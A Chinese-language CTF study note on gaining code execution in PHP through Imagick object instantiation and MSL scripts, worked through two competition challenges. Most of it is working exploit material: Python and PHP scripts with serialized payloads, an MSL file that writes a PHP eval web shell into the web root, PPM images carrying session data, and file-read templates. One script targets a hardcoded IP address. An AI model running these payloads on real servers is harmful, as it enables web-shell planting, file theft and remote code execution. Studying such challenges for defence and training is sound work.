https://zhuanlan.zhihu.com/p/93401495
安装参考
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
参考文章
介绍
这玩意可以对外进行访问
配合msl脚本语言可以读取内外文件,并且写入指定位置
但是msl脚本得在本地
经常配合php_session_upload_progress上传临时文件使用
一些用法,还支持php协议
RCE1 看看就行
使用以下构造可能导致工作进程在web服务器上崩溃
new Imagick("text:fd:30")
而在web服务崩溃时,会在/tmp目录下生成php开头,后7位为[A-Za-z0-9]的文件
/tmp/phpXXXXXXX
在这种情况下我们可以进行条件竞争,使用bp大量发送上传了msl脚本的请求
再通过bp的intruder进行文件包含爆破
此时就会调用msl脚本对远程文件发送请求,并将数据写回到本地
RCE2 高级版本,学这个!!
使用vid去触发msl脚本,可以使用通配符
vid:msl:/tmp/php* 直接执行上传缓存文件
配合caption:info:后接数据进行写入指定文件,比如说一句话木马写到web目录
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" />
<write filename="info:/var/www/swarm.php" />
</image>
样题 ciscn2022 backdoor
我真的不想搭linux的环境,这题大概看看脚本,理一下思路就行
<?php
error_reporting(E_ERROR);
class backdoor {
public $path = null;
public $argv = null;
public $class = "stdclass";
public $do_exec_func = true;
public function __sleep() {
if (file_exists($this->path)) {
return include $this->path;
} else {
throw new Exception("__sleep failed...");
}
}
public function __wakeup() {
if (
$this->do_exec_func &&
in_array($this->class, get_defined_functions()["internal"])
) {
call_user_func($this->class);
} else {
$argv = $this->argv;
$class = $this->class;
new $class($argv);
}
}
}
$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];
switch ($cmd) {
case 'unserialze':
unserialize($data);
break;
case 'rm':
system("rm -rf /tmp");
break;
default:
highlight_file(__FILE__);
break;
}
有提供的exp,我们来分析一下
#!/usr/bin/python3
#coding:utf-8
import re
import sys
import time
import requests
timeout = 30
host = sys.argv[1]
port = sys.argv[2]
url = f"http://{host}:{port}"
write_session_payload = "O%3A8%3A%22backdoor%22%3A3%3A%7Bs%3A14%3A%22%00backdoor%00argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A15%3A%22%00backdoor%00class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D"
session_sleep_chain_payload = "O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D"
def rm_tmp_file():
headers = {"Accept": "*/*"}
requests.get(
f"{url}/?cmd=rm",
headers=headers
)
def upload_session():
headers = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
}
data = "--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=\" />\r\n <write filename=\"/tmp/sess_afkl\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
try:
requests.post(
f"{url}/?data=O%3A8%3A%22backdoor%22%3A3%3A%7Bs%3A14%3A%22%00backdoor%00argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A15%3A%22%00backdoor%00class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D&cmd=unserialze",
headers=headers, data=data
)
except requests.exceptions.ConnectionError:
pass
def get_flag():
cookies = {"PHPSESSID": "afkl"}
headers = {"Accept": "*/*"}
response = requests.get(
f"{url}/?data=O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D&cmd=unserialze&1=system('/readflag');",
headers=headers, cookies=cookies
)
return re.findall(r"(flag\{.*\})", response.text)
# 主逻辑
if __name__ == '__main__':
rm_tmp_file()
upload_session()
time.sleep(1)
print(get_flag()[0])
rm_tmp_file删除了tmp目录下的文件,防止影响判断
使用call_user_func触发session_start(),携带phpsessid,保存缓存数据,后面session反序列化要用
在upload session路由,使用反序列化触发 new imagick(vid:msl:/tmp/php*),执行上传的msl脚本
msl脚本内容如下
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=\" />\r\n <write filename=\"/tmp/sess_afkl\" />\r\n</image>
里面的base64是利用ppm图像文件格式的特点,在末尾插入序列化数据而不影响图片正常解析生成的
m1师傅博客偷的脚本改改
<?php
class backdoor
{
public $path = null;
public $argv = null;
public $class = "stdclass";
public $do_exec_func = true;
}
$fumo = new backdoor();
$fumo->path = "/tmp/sess_afkl";
$serialized = "|" . serialize($fumo);
#前面可以加一句话木马,这题就是这样加的
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized);
会将base64解密后的内容写入/tmp/sess_afkl,其中就包含一句话木马,以及session反序列化所需的数据
最后再携带者phpsessionid=afkl,并且用call_user_func开启session_start,访问即可触发sleep,包含/tmp/sess_afkl文件,其中存在一句话木马,执行命令
样题 SCTF fumo_backdoor
和上面一个出题人,不过这里用的是readfile,没法包含木马,flag在/flag
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}
public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;
new $class($argv);
}
}
}
$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];
switch ($cmd) {
case 'unserialze':
unserialize($data);
break;
case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;
default:
highlight_file(__FILE__);
break;
}
这题很搞,我自己用bp上传失败了很多次,还是用脚本吧
import requests,base64,time
SERVER_ADDR="http://182.92.6.230:18080/"
def del_tem(): #删除tmp目录下所有的缓存文件
resp = requests.post(SERVER_ADDR,data={"cmd":"rm"})
print(resp.status_code)
def write_file(xml:str):
unserialize_str=base64.b64decode("TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtOO3M6NDoiYXJndiI7YToxOntpOjA7czoxNzoidmlkOm1zbDovdG1wL3BocCoiO31zOjQ6ImZ1bmMiO047czo1OiJjbGFzcyI7czo3OiJJbWFnaWNrIjt9")
resp= requests.post(SERVER_ADDR,files={"file":("exec1.msl",xml)},data={"cmd":"unserialze","data":unserialize_str})
print(resp.status_code)
def start_session(): #开启session_start(),这样就会生成phpsessid缓存文件,就能触发php的session反序列化
resp=requests.get(SERVER_ADDR+"?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A14%3A%22vid%3Amsl%3A%2Ftmp%2Fa%22%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D")
def get_flag_session_unserialze(): #指定sessionid,session反序列化触发sleep函数,读取/tmp/Aecous文件,获得flag
resp=requests.get(SERVER_ADDR+"?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A2%3A%7Bs%3A4%3A%22path%22%3Bs%3A8%3A%22%2Ftmp%2Fyyz%22%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3B%7D",
cookies={"PHPSESSID":"Aecous"})
print(resp.text)
del_tem()
time.sleep(2)
start_session()
time.sleep(2)
del_tem()
time.sleep(2)
# xml=f"""<?xml version="1.0" encoding="UTF-8"?>
# <image>
# <read filename="mvg:/flag" />
# <write filename="mvg:/tmp/yyz" />
# </image>"""
#
# xml2=f"""<?xml version="1.0" encoding="UTF-8"?>
# <image>
# <read filename="inline:data:text/8BIM;base64,eXl6fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo4OiIvdG1wL3l5eiI7czo0OiJmdW5jIjtzOjEzOiJzZXNzaW9uX3N0YXJ0Ijt9" />
# <write filename="/tmp/sess_{session_id}" />
# </image>"""
xml=f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF8TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtzOjExOiIvdG1wL0FlY291cyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" />
<write filename="/tmp/sess_Aecous" />
</image>"""
xml2=f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/Aecous" />
</image>
"""
#上传msl脚本,导致web服务崩溃并且生成php缓存文件,一般为phpXXXXXX,配合Imagick(vid:msl:/tmp/php*)执行msl脚本,将session反序列化所需的数据写入/tmp/sess_指定id,
write_file(xml)
time.sleep(3)
#上传msl脚本,配合Imagick(vid:msl:/tmp/php*)执行msl脚本,将flag移到指定位置
write_file(xml2)
time.sleep(3)
get_flag_session_unserialze()
结合wm的脚本改的,和上一题思路基本一样,看看注释就行
msl脚本标签
读取
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="mvg:/tmp/yyz" />
</image>
mvg:对文件头似乎没有强制要求,可以用来移动指定的文件
还可以用uyvy
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="uyvy:/flag"/>
<write filename="/tmp/2333hhhh"/>
</image>
数据转换写入
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF8TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtzOjExOiIvdG1wL0FlY291cyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" />
<write filename="/tmp/sess_Aecous" />
</image>
inline:data://image/x-portable-anymap;base64,
这里是将上面的base64解密后写入/tmp/sess文件的一种方法
利用 ppm 图像文件格式的特点,可在末尾插入序列化数据而不影响图片的正常解析: (m1师傅博客里的)
<?php
class fumo_backdoor
{
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$fumo = new fumo_backdoor();
$fumo->path = "/tmp/sess_id"; //将flag移到的位置
$serialized = "|" . serialize($fumo);
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized); //ppm图片生成,并且包含序列化数据
还可以用 inline:data:text/8BIM;base64,这个玩意直接就可以进行数据解密+传输,不需要符合图片标准
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,eXl6fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo4OiIvdG1wL3l5eiI7czo0OiJmdW5jIjtzOjEzOiJzZXNzaW9uX3N0YXJ0Ijt9" />
<write filename="8BIM:/tmp/sess_{session_id}" />
</image>